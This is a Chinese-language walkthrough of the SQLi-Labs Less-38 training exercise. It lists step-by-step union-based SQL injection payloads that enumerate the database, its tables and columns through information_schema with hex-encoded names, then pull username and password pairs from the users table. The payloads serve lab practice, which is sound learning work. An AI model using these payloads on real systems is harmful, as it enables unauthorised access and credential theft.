SQLI-LAPS 实验记录
Less-38
这一关改又回到了Get注入方式,我们先按照之前的联合注入方法进行尝试。

首先我们输入Payload如下:
0' union select 1,2,3 --+

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。
后续查找数据库表名、列名及其他数据的Payload分别如下:
-
查找数据库名:
0' union select 1,database(),3 --+
-
查找表名:
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 --+这里还有一个重要的步骤,是将上一步查询出来的数据库名称:security,转换成16进制来表示,也就是table_schema=0x7365637572697479。

-
查找列名:
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),3 --+这里同样把上一步查询出来的表名:users,转换成16进制表示,即:table_name=0x7573657273。

查找其他数据:
0' union select 1,(select concat(username,0x3a,password) from security.users where (id=1)),3 --+这里的0x3a表示":"。

这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4……
5万+

被折叠的 条评论
为什么被折叠?



